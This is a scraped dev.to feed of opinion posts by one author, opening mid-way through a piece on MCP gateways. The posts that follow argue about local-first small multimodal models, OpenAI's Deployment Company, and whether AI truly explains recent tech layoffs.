&lt;strong&gt;MCP Gateway&lt;/strong&gt; — the context bridge to third-party tools without bespoke per-integration code. &lt;em&gt;This is the interesting part.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;xLAs + AI Insights&lt;/strong&gt; — outcome metrics tying agent performance back to experience signals so teams can prove or disprove the agent's value.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Stack them and you get: build the agent fast, wire it into real context fast, then measure whether it actually helped fast. That's the loop most enterprise AI projects can't close. Pilots stall at the "wire it into real context" step. MCP at the gateway layer makes that step shorter.&lt;/p&gt;

&lt;h2&gt;
  
  
  The opinion I keep arguing with people about
&lt;/h2&gt;

&lt;p&gt;I get this counter a lot when I say MCP has won: &lt;em&gt;"Protocols don't matter until enterprises actually adopt them. Talk to me when Salesforce ships MCP, not Freshworks."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I disagree with this and I want to lay out why.&lt;/p&gt;

&lt;p&gt;Standards don't win because the biggest player blesses them. Standards win because &lt;strong&gt;the cost of using the standard becomes lower than the cost of building your own glue&lt;/strong&gt;, and that crosses a threshold for an integrator somewhere in the middle of the stack. The middle of the stack is where it always starts. LSP didn't win because Microsoft anointed it; it won because individual editor maintainers couldn't justify writing N×M integrations anymore. Same shape here. Freshservice doesn't need to be the biggest enterprise SaaS for the math to flip. It just needs to be a credible proof that the &lt;em&gt;gateway pattern&lt;/em&gt; works at production scale for someone real.&lt;/p&gt;

&lt;p&gt;Once the gateway pattern is normalized, every adjacent product manager looks at their backlog of "integrate with X tool" tickets and thinks, "We could write 20 connectors, or we could put an MCP gateway in front and ship 100." The math is not subtle.&lt;/p&gt;

&lt;p&gt;If you're building agent infrastructure today and you haven't picked your MCP posture — server, client, gateway — you have already lost a year of compounding integrations. I'll defend that strongly. Tell me why I'm wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the optimism gets uncomfortable
&lt;/h2&gt;

&lt;p&gt;I want to be honest about the part of this that bothers me, because the "MCP solves enterprise AI" framing has obvious failure modes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The abstraction can hide data lineage.&lt;/strong&gt; "No custom code" feels great until something leaks across a permission boundary and the trail of &lt;em&gt;how the model got that data&lt;/em&gt; is buried three protocol hops deep. Governance has to keep up with adoption speed, and right now it isn't.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Semantic alignment is harder than connectivity.&lt;/strong&gt; The protocol problem (how do tools talk?) is mostly solved. The ontology problem (what does "high priority ticket" mean across four systems?) is not. I think the next integration war is going to be semantic, not API-level. I don't have a confident answer for how it gets won.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No-code doesn't remove engineering. It moves it.&lt;/strong&gt; It moves it into identity, audit, policy, rollback, and incident response. Which is &lt;em&gt;more&lt;/em&gt; engineering, not less, just in places most "no-code" pitches avoid talking about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where they all agree:&lt;/strong&gt; the integration layer now decides enterprise agent success more than the model layer does. That's not in dispute. The question is whether protocol standardization makes the integration layer easier or just trades one class of pain for another.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this changes if you're a developer
&lt;/h2&gt;

&lt;p&gt;A few uncomfortable shifts that are happening whether you're ready or not:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Integration skill is core AI skill now.&lt;/strong&gt; Data contracts, permission models, workflow boundaries, audit trails. If you optimize your career around prompt tuning in 2026, you're optimizing for the wrong layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protocol literacy is no longer niche.&lt;/strong&gt; Understanding MCP's actual semantics — what a tool description means, how schema negotiation works, where authentication sits — is production knowledge in 2026, the way HTTP semantics were in 2008.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Observability is mandatory before scale.&lt;/strong&gt; If you can't trace which tool fed which context into which decision, you cannot safely scale a Freshservice-shaped agent in production. Most teams don't have this yet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Governance work pays more than it used to.&lt;/strong&gt; The people who can write a defensible audit trail for an agent's actions are about to become very expensive.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The honest counter-position
&lt;/h2&gt;

&lt;p&gt;I should acknowledge the strongest counter to my "MCP has already won" claim. It goes: &lt;em&gt;standards have died at this stage before. Adoption inside one vendor doesn't mean ecosystem lock-in is broken. Maybe MCP fragments — vendor-specific extensions, incompatible gateways, the usual.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That could happen. The history of standards has plenty of "won the demo, lost the war" stories. I just don't think it's the most likely path here, because the gateway pattern (one component absorbing all third-party connections) is exactly the architectural shape that makes standard divergence painful. The economic incentive to stay compatible is stronger than the political incentive to fork.&lt;/p&gt;

&lt;p&gt;But I could be wrong. If you think MCP fragments by 2027 — into "Anthropic-MCP" vs "OpenAI-MCP" or a Salesforce-flavored fork — I'd like to hear the argument.&lt;/p&gt;




&lt;p&gt;if you've shipped a real agent integration this year, did MCP make it easier, or did it just add a layer? I'm taking the "easier" side. Show me the case where it was the wrong call.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://markets.businessinsider.com/news/stocks/freshworks-unveils-ai-agent-studio-in-freshservice-to-unlock-service-transformation-that-drives-compounding-business-growth-1036155747" rel="noopener noreferrer"&gt;Freshworks Refresh launch — Agent Studio + MCP Gateway&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://siliconangle.com/2026/05/14/freshworks-unveils-freddy-ai-agent-studio-mcp-gateway-freshservice/" rel="noopener noreferrer"&gt;SiliconANGLE coverage of the Freddy AI launch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crn.com/news/ai/2026/openai-launches-services-business-on-heels-of-similar-anthropic-announcement" rel="noopener noreferrer"&gt;CRN — OpenAI's parallel deployment moves&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>devops</category>
      <category>architecture</category>
    </item>
    <item>
      <title>A 1.3B model just shipped that runs on your phone, and the labs obsessed with frontier scores won't see this story coming</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sat, 16 May 2026 09:51:47 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/a-13b-model-just-shipped-that-runs-on-your-phone-and-the-labs-obsessed-with-frontier-scores-wont-1amh</link>
      <guid>https://dev.to/practiceoverflow/a-13b-model-just-shipped-that-runs-on-your-phone-and-the-labs-obsessed-with-frontier-scores-wont-1amh</guid>
      <description>&lt;p&gt;This week was quiet for frontier model launches. No new flagship. No leaderboard reshuffle. The trackers basically reported "nothing happened up top." That should tell you something — because the &lt;em&gt;actual&lt;/em&gt; model release that mattered this week didn't come from any of the names you'd expect.&lt;/p&gt;

&lt;p&gt;On May 11, OpenBMB open-sourced &lt;a href="https://github.com/OpenBMB/MiniCPM-V" rel="noopener noreferrer"&gt;MiniCPM-V 4.6&lt;/a&gt;: a 1.3B-parameter multimodal model, image and video, with explicit deployment targets across iOS, Android, and HarmonyOS. &lt;a href="https://huggingface.co/openbmb/MiniCPM-V-4.6" rel="noopener noreferrer"&gt;Open weights on Hugging Face.&lt;/a&gt; No marketing tour. Just a release that, if you squint, is one of the most strategically interesting things to happen in open AI this year.&lt;/p&gt;

&lt;p&gt;Here's the position I'll defend: &lt;strong&gt;the next big AI consumer story will be local-first multimodal, and the labs that obsess about frontier scores are going to miss it.&lt;/strong&gt; The shift won't be announced. It won't have a keynote. It will just show up in the apps you actually use one day, and you'll wonder when that happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a 1.3B model is the bigger story
&lt;/h2&gt;

&lt;p&gt;I want to be specific about what makes this release matter, because "small model improves" is the most common AI headline of the last three years and most of them are noise.&lt;/p&gt;

&lt;p&gt;The thing that's different here is &lt;em&gt;the design intent&lt;/em&gt;. MiniCPM-V 4.6 is not trying to beat anyone on benchmark tables. The release materials and model card lean heavily on throughput, visual token compression (mixed 4x/16x), and framework compatibility across the open-source serving stack — vLLM, SGLang, llama.cpp, Ollama. That isn't the language of a model team chasing prestige. That's the language of a model team optimizing for &lt;em&gt;getting deployed&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Three years ago, "1.3B multimodal model that actually fits on a phone" would have read as a research curiosity. Now it reads as a serious product line. The hardware curve and the model-design curve crossed sometime in the last 18 months, and we're in the early innings of what happens after.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shift nobody's narrating loudly enough
&lt;/h2&gt;

&lt;p&gt;I'll commit to a stronger claim. The dominant story in AI for the last three years has been &lt;em&gt;bigger is better at the top&lt;/em&gt;. The story for the next three is going to be &lt;em&gt;good enough is good enough at the edge&lt;/em&gt;, and the value capture is going to move accordingly.&lt;/p&gt;

&lt;p&gt;Here's why:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Most users don't need the frontier.&lt;/strong&gt; They need fast, private, reliable, cheap. A 1.3B model that runs on the device and answers "what is in this picture" with 85% accuracy in 200ms beats a frontier model that does it with 97% accuracy in 2 seconds plus a network round-trip plus a per-call cost. For most consumer workloads, the second one is &lt;em&gt;worse product&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The economics flip when you don't pay per call.&lt;/strong&gt; Every consumer AI app today has a per-inference cost that quietly murders product margins at scale. Local inference removes that line item. Once one major consumer app proves the pattern — chat, photos, accessibility, transcription — every adjacent app's CFO will start asking why they're still paying inference bills.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Privacy is going to do real work as a wedge.&lt;/strong&gt; Not because users wake up demanding it, but because regulators will, and because the marketing teams will figure out it's a differentiator. "Your photos never leave your device" is going to sell. Local multimodal is the only way to deliver it without a footnote.&lt;/p&gt;

&lt;p&gt;I'm not saying frontier models become irrelevant. I'm saying the &lt;em&gt;consumer surface&lt;/em&gt; of AI shifts to local-first, and the frontier becomes back-of-house — used for hard problems, training data generation, and the long tail of escalations.&lt;/p&gt;

&lt;h2&gt;
  
  
  The skeptical case I keep arguing with
&lt;/h2&gt;

&lt;p&gt;The honest counter to my read: &lt;em&gt;small models still hallucinate, still fail on edge cases, still need cloud fallback. Local-first is a story you can tell on Twitter but not one you can ship to 100 million users.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I'll concede part of this. Small multimodal models do underperform on adversarial inputs and complex visual reasoning. That's real. But the framing assumes a binary — local OR cloud — and the actual production architecture is a &lt;em&gt;tier&lt;/em&gt;. Small local model handles 80% of requests. Frontier cloud model handles the hard 20%. That's already shipping in early form. It will get more common, not less.&lt;/p&gt;

&lt;p&gt;The thing I keep telling people building consumer AI: &lt;em&gt;if you're routing every request to a frontier model, you're spending money on capability your users mostly don't need, and you're going to lose to a competitor who tiers their stack.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The architectural pattern I think wins
&lt;/h2&gt;

&lt;p&gt;If I'm right about this, the next-decade architecture for consumer AI looks like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Mini multimodal model on-device&lt;/strong&gt; for high-volume triage — recognize, transcribe, route, classify. Fast, free, private.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Frontier model in the cloud&lt;/strong&gt; for low-volume escalation — hard reasoning, complex generation, anything the local model flags as low-confidence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Eval-driven routing between them&lt;/strong&gt; — the system learns where the mini model is reliable and where it isn't, per workflow.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is not exotic. It's how mature systems already work in adjacent domains (caching tiers, search re-ranking, fraud detection). AI is going to converge on it because the math works.&lt;/p&gt;

&lt;p&gt;The labs that are still pitching "use our flagship for everything" are pitching against this. They will be right about technical capability and wrong about product economics. That's a lonely place to be.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this means if you're a developer or PM
&lt;/h2&gt;

&lt;p&gt;Concrete moves, in priority order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Test a mini multimodal model on your actual workload.&lt;/strong&gt; Not the benchmark. Your data, your latency budget, your error tolerance. MiniCPM-V 4.6 is a reasonable starting point and the weights are free.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Map your current AI calls by "is this hard or routine?"&lt;/strong&gt; I'd bet 60–80% of your cloud spend goes to routine calls that don't need the frontier. That's a refactor waiting to happen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build evals for your domain, not generic charts.&lt;/strong&gt; A model that wins on MMMU might lose badly on your specific image distribution. The only eval that matters is yours.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If your product touches mobile or embedded, start the local-first prototype now.&lt;/strong&gt; The window where you can architect for tiered inference and beat slower competitors closes faster than you'd think.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Where I want pushback
&lt;/h2&gt;

&lt;p&gt;The argument I'd most like to lose: &lt;em&gt;consumer AI stays cloud-centric because the model improvements at the frontier compound faster than the deployment improvements at the edge.&lt;/em&gt; If that's right, then "good enough local" is a moving target that never catches up.&lt;/p&gt;

&lt;p&gt;I don't think that's how it'll play out, because most consumer use cases are not bottlenecked by capability anymore — they're bottlenecked by latency, cost, and privacy. But it's the strongest version of the counter, and I'd genuinely like to hear it argued well.&lt;/p&gt;

&lt;p&gt;If you've shipped a consumer product where local inference made or broke the user experience, I want to hear the story — wins and disasters both.&lt;/p&gt;




&lt;p&gt;if you think the consumer AI surface stays cloud-first for the rest of the decade, I want to read the argument. I'm betting against it. Show me where my bet breaks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/OpenBMB/MiniCPM-V" rel="noopener noreferrer"&gt;OpenBMB/MiniCPM-V on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://huggingface.co/openbmb/MiniCPM-V-4.6" rel="noopener noreferrer"&gt;MiniCPM-V 4.6 model card on Hugging Face&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aiflashreport.com/topics/new-ai-model-releases.html" rel="noopener noreferrer"&gt;AI Flash Report — new AI model releases timeline&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://arxiv.org/abs/2605.13737" rel="noopener noreferrer"&gt;Senses Wide Shut — representation-action gap in omnimodal LLMs (arXiv:2605.13737)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>opensource</category>
      <category>mobile</category>
    </item>
    <item>
      <title>OpenAI's Deployment Company is the biggest AI move of 2026, and most of the industry hasn't clocked it</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sat, 16 May 2026 09:46:18 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/openais-deployment-company-is-the-biggest-ai-move-of-2026-and-most-of-the-industry-hasnt-clocked-4bli</link>
      <guid>https://dev.to/practiceoverflow/openais-deployment-company-is-the-biggest-ai-move-of-2026-and-most-of-the-industry-hasnt-clocked-4bli</guid>
      <description>&lt;p&gt;I'll start with the position I'm willing to defend: &lt;strong&gt;OpenAI's Deployment Company is the most strategically loaded AI move of 2026 so far, and the industry is mostly underreacting to it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you read the &lt;a href="https://openai.com/index/openai-launches-the-deployment-company/" rel="noopener noreferrer"&gt;official launch announcement&lt;/a&gt; on May 11, it sounds like a partner program. 19 firms, Bain co-investing, a pending Tomoro acquisition that hands them about 150 forward-deployed engineers from day one. Polite, structured, partnership-flavored. Then you look at the actual structure and the story changes.&lt;/p&gt;

&lt;p&gt;OpenAI is the &lt;em&gt;majority&lt;/em&gt; owner. The unit sits &lt;em&gt;next to&lt;/em&gt; model development, not in a corner partnership org. There's a real budget. Forward-deployed engineers — the Palantir model — are now the day-one staffing primitive. This is not a partner program. This is OpenAI deciding it wants the implementation margin too, not just the inference margin.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this isn't a "services play"
&lt;/h2&gt;

&lt;p&gt;The lazy framing is: "Oh, OpenAI is adding services like a consultancy." That misreads what just happened.&lt;/p&gt;

&lt;p&gt;Services adjacent to a product are a margin add. &lt;em&gt;Services owned by the model lab&lt;/em&gt; are a strategic relocation of where decisions get made. Here's the logic:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If the lab owns deployment, it shapes architecture decisions earlier.&lt;/li&gt;
&lt;li&gt;If it shapes architecture earlier, it sets the defaults — which model, which tooling, which orchestration shape.&lt;/li&gt;
&lt;li&gt;If it sets defaults, competing providers don't just have to displace a model. They have to displace an operating workflow.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That's distribution power, not professional services. The fact that &lt;a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/" rel="noopener noreferrer"&gt;Bain co-invested and is framing this as a shared execution layer for their PE portfolio&lt;/a&gt; is the part that should make every other lab nervous. It means OpenAI is bringing a captive enterprise channel along with the engineering team.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Tomoro detail is doing a lot of work
&lt;/h2&gt;

&lt;p&gt;The press circuit mostly glossed over the Tomoro acquisition. Don't. The math is straightforward: building a forward-deployed delivery org from scratch takes 18–24 months. Buying one takes a quarter. Tomoro gives OpenAI immediate field capacity to do the diagnostic-to-production loop that &lt;a href="https://www.crn.com/news/ai/2026/openai-launches-services-business-on-heels-of-similar-anthropic-announcement" rel="noopener noreferrer"&gt;CRN's coverage describes&lt;/a&gt; — identify a high-value workflow, embed engineers, redesign the process, harden it for production, then measure outcomes.&lt;/p&gt;

&lt;p&gt;That loop is the actual product. The model is the input.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where I think this lands in 18 months
&lt;/h2&gt;

&lt;p&gt;I'll commit to a prediction. Within 18 months:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Anthropic will have its own equivalent. (They already gestured at one — &lt;a href="https://techcrunch.com/2026/05/04/anthropic-and-openai-are-both-launching-joint-ventures-for-enterprise-ai-services/" rel="noopener noreferrer"&gt;TechCrunch flagged the parallel in early May&lt;/a&gt;.)&lt;/li&gt;
&lt;li&gt;Google and Microsoft will quietly bolt the same shape onto their existing enterprise arms.&lt;/li&gt;
&lt;li&gt;The independent "AI implementation" consultancy category will get squeezed from both ends — by lab-owned units above and by enterprise platform teams below.&lt;/li&gt;
&lt;li&gt;The phrase "neutral platform" will start sounding like marketing copy, the way "open AI" did three years ago.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tell me which of those four you think I'm wrong about. I'd genuinely like to hear the counter — especially from anyone running an AI services firm right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it means if you're an engineer
&lt;/h2&gt;

&lt;p&gt;If you're an engineer at a typical Fortune 500 looking at AI rollout, this changes the procurement story for you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Model choice is going to be made earlier, by people who aren't engineers.&lt;/strong&gt; "Which model" will be decided during workflow design, not after a vendor bake-off.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementation skills outrank prompt skills now.&lt;/strong&gt; Engineers who can map model behavior to business process constraints — risk, approvals, auditability, data lineage — are more valuable than prompt specialists. Has been true for a year, will be obvious in six months.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lock-in is going procedural, not technical.&lt;/strong&gt; The day your team adopts a deployment template — the runbooks, the dashboards, the eval harness — the cost of replacing the underlying model goes from "swap an endpoint" to "redo our operating system."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The line between consulting and product is dissolving.&lt;/strong&gt; You'll be doing more work with hybrid teams where the playbooks, the tooling, &lt;em&gt;and&lt;/em&gt; the model policy come from the same vendor stack.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're at a smaller shop, you have a window: you can still pick architecture before the lab-owned playbooks get heavy enough to be the default. That window will not stay open.&lt;/p&gt;

&lt;h2&gt;
  
  
  The skeptical case I keep arguing with
&lt;/h2&gt;

&lt;p&gt;I want to be honest about the strongest counter to my read.&lt;/p&gt;

&lt;p&gt;The counter goes: "This is just OpenAI getting paid for the work it was already doing for free in design partner engagements. It's monetization, not strategy. It's not that interesting."&lt;/p&gt;

&lt;p&gt;I don't fully buy it, but I'll concede the smaller version: enterprises &lt;em&gt;will&lt;/em&gt; keep hiring multiple labs in parallel for the next two years, hedging across providers. So the lock-in story is slower than I'm suggesting. Fair.&lt;/p&gt;

&lt;p&gt;What I don't concede: the long-run gravitational pull. Once one lab's deployment templates become the path of least resistance for the enterprise's &lt;em&gt;next&lt;/em&gt; AI rollout, the others are renting that customer, not owning them.&lt;/p&gt;




&lt;p&gt;if you think lab-owned services arms are net-bad for the ecosystem — for the SIs they squeeze, for customers who lose neutral advice, for engineers who used to live in the middle — I want to hear it. I lean toward "this is a normal phase of platform maturity and was always coming." Convince me otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://openai.com/index/openai-launches-the-deployment-company/" rel="noopener noreferrer"&gt;OpenAI — Launching the Deployment Company&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bain.com/about/media-center/press-releases/2026/bain-company-openai-a-new-venture-to-deploy-ai-at-enterprise-scale/" rel="noopener noreferrer"&gt;Bain &amp;amp; Company — investment announcement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crn.com/news/ai/2026/openai-launches-services-business-on-heels-of-similar-anthropic-announcement" rel="noopener noreferrer"&gt;CRN — DeployCo structural details and Tomoro context&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techcrunch.com/2026/05/04/anthropic-and-openai-are-both-launching-joint-ventures-for-enterprise-ai-services/" rel="noopener noreferrer"&gt;TechCrunch — parallel Anthropic enterprise-services framing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techstartups.com/2026/05/11/openai-launches-4b-enterprise-ai-unit-to-accelerate-corporate-adoption-acquires-tomoro-to-scale-deployments/" rel="noopener noreferrer"&gt;TechStartups — launch + Tomoro acquisition framing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>openai</category>
      <category>business</category>
      <category>career</category>
    </item>
    <item>
      <title>The 'AI is replacing engineers' narrative is mostly bullshit, and I'm tired of pretending otherwise</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sat, 16 May 2026 09:45:29 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/the-ai-is-replacing-engineers-narrative-is-mostly-bullshit-and-im-tired-of-pretending-otherwise-3em8</link>
      <guid>https://dev.to/practiceoverflow/the-ai-is-replacing-engineers-narrative-is-mostly-bullshit-and-im-tired-of-pretending-otherwise-3em8</guid>
      <description>&lt;p&gt;I'm going to make a claim that's going to upset some people, including some people I respect: &lt;strong&gt;most of the "AI-driven layoff" narrative in 2026 is bullshit, and we're letting CEOs use it as cover for a different story.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I want to be careful about what I am and am not saying. AI is real. It is changing work. It will continue to change work. None of that is in dispute. What I'm saying is narrower: the &lt;em&gt;causal chain&lt;/em&gt; being sold in press releases — "AI made us productive, so we don't need these people" — is mostly not supported by the productivity data we actually have. And I think we owe each other more honesty about that.&lt;/p&gt;

&lt;p&gt;Two pieces dropped this week that crystallized it for me.&lt;/p&gt;

&lt;h2&gt;
  
  
  The data and the story stopped matching
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.nbcnews.com/tech/innovation/ai-fuels-tech-job-cuts-efficiency-questions-workers-rcna219364" rel="noopener noreferrer"&gt;NBC ran a piece&lt;/a&gt; summarizing METR-reported findings: experienced developers were about &lt;strong&gt;19% slower&lt;/strong&gt; on real tasks when using AI tools, even when many of them &lt;em&gt;believed&lt;/em&gt; they were faster. Same week, you could refresh LinkedIn and watch a parade of CEOs frame layoffs as AI-efficiency outcomes.&lt;/p&gt;

&lt;p&gt;These can't both be straightforwardly true. Either AI is making developers faster — in which case the slowdown evidence needs an explanation — or it isn't, in which case the "we don't need these people because AI" framing is doing something other than describing reality.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://theconversation.com/tech-companies-are-blaming-massive-layoffs-on-ai-whats-really-going-on-278314" rel="noopener noreferrer"&gt;The Conversation took the framing apart&lt;/a&gt; and arrived at roughly the read I've been carrying: most "AI layoffs" are post-ZIRP headcount correction plus investor signaling, with a thin layer of AI narrative laid on top because that narrative is socially and financially cheaper than admitting "we over-hired in 2021 and the cost of capital changed."&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the AI narrative is the convenient one
&lt;/h2&gt;

&lt;p&gt;Sit in a CEO's chair for a minute. You over-hired in 2020–2022 when money was free. Now money isn't free. You need to cut 10–20%. You have three explanations you can give the market:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;"We made a strategic error."&lt;/strong&gt; Stock punished. Board annoyed. Your tenure shortens.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Margin pressure from competition is forcing this."&lt;/strong&gt; Stock punished. Suggests weakness.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"AI is making us more efficient."&lt;/strong&gt; Stock &lt;em&gt;rewards&lt;/em&gt;. You look forward-looking. You're not cutting — you're &lt;em&gt;transforming&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Option three is not a lie, exactly. But it's not a careful description of the causal chain either. It's a rationalization that happens to also be the most market-friendly explanation. If you wonder why it's the explanation we keep hearing, this is most of the reason.&lt;/p&gt;

&lt;p&gt;Look — I don't think every executive saying this is being cynical. I think a lot of them have genuinely convinced themselves the chain is real. AI &lt;em&gt;did&lt;/em&gt; enter the workflow. Layoffs &lt;em&gt;did&lt;/em&gt; follow. The brain pattern-matches a story. That's how humans do narrative.&lt;/p&gt;

&lt;p&gt;But the data is what the data is. And until I see a serious peer-reviewed study showing sustained, broad-based productivity gains in real engineering work — not vibes, not vendor white papers, not "developers said they felt 20% faster" surveys — I'm going to keep my hand on the bullshit detector.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I think is actually happening
&lt;/h2&gt;

&lt;p&gt;Here's the version I'd defend:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compression, not replacement.&lt;/strong&gt; The labor signal isn't extinction. It's compression. Fewer entry and mid roles. Sharper premium on engineers who can actually ship AI in production. A flattening of the career ladder where the rungs that mattered most for early-career growth are quietly being removed. That's painful and serious and worth talking about. It's also a different problem than "AI is doing my job."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-existing trends getting AI-labeled.&lt;/strong&gt; Customer support reductions have been creeping for a decade, driven by chatbots and self-service before LLMs. The "AI replaced our CS team" framing is half true and half a marketing relabel of a slow trend that finally hit a tipping point. The trend is real. The "this just happened because of AI in 2026" framing is not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Productivity gains that exist but are uneven.&lt;/strong&gt; I'll concede AI helps materially in some workflows — boilerplate code, routine documentation, repetitive triage. It hurts in others — complex debugging, novel system design, anything heavy on tacit context. The average is unimpressive. The variance is huge. The story-tellers conflate the helpful slices with the average and sell the average.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The talent that benefits is concentrating.&lt;/strong&gt; Engineers who already had strong system context, judgment, and integration skill are getting a real multiplier. Engineers earlier in the curve are not. So the productivity story is more about &lt;em&gt;which&lt;/em&gt; engineers than about &lt;em&gt;whether&lt;/em&gt; engineering work overall is faster. That's a much less marketable framing for a press release.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I want to be wrong about
&lt;/h2&gt;

&lt;p&gt;Let me steelman the other side honestly, because I might be too cynical about this.&lt;/p&gt;

&lt;p&gt;The strongest pro-narrative argument I can think of: maybe the productivity studies measure the wrong things. METR-style task experiments are bounded by design. They may miss the compounding gains — code reuse, faster onboarding, lower bug rates downstream — that show up in &lt;em&gt;quarterly&lt;/em&gt; metrics but not &lt;em&gt;task-level&lt;/em&gt; ones. A team that ships 19% slower on tested tasks but has 30% fewer regressions in production is &lt;em&gt;not actually slower&lt;/em&gt;. It might be a lot faster.&lt;/p&gt;

&lt;p&gt;That's plausible. I'd take the argument seriously if I saw the longitudinal data. So far, what I see is short-horizon studies showing mixed-to-negative results, plus executive narrative going strongly positive without the data to back it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where I want pushback:&lt;/strong&gt; if you've run a careful before/after measurement on AI tools at your team or company, what did you find? Especially the boring middle case — the one where it's modest, complicated, and doesn't fit the hype or the doom narrative.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you're an engineer and you're scared right now
&lt;/h2&gt;

&lt;p&gt;Two practical things I'll say with confidence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One: stop measuring your job security by the noise.&lt;/strong&gt; The noise — executive quotes, layoff headlines, doom Substacks — is downstream of business pressures that have very little to do with your actual marginal value. Your value as an engineer is set by your team's outcomes, not by the AI narrative cycle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two: bet on the skill premium going up, not down.&lt;/strong&gt; The compression case I described is bad for engineers in the &lt;em&gt;middle&lt;/em&gt; who haven't yet picked up the higher-leverage skills — system thinking, deployment judgment, agent orchestration, the integration work I keep writing about. It is &lt;em&gt;good&lt;/em&gt; for engineers who do. That premium is not going away. If anything, it's getting steeper. Aim there.&lt;/p&gt;

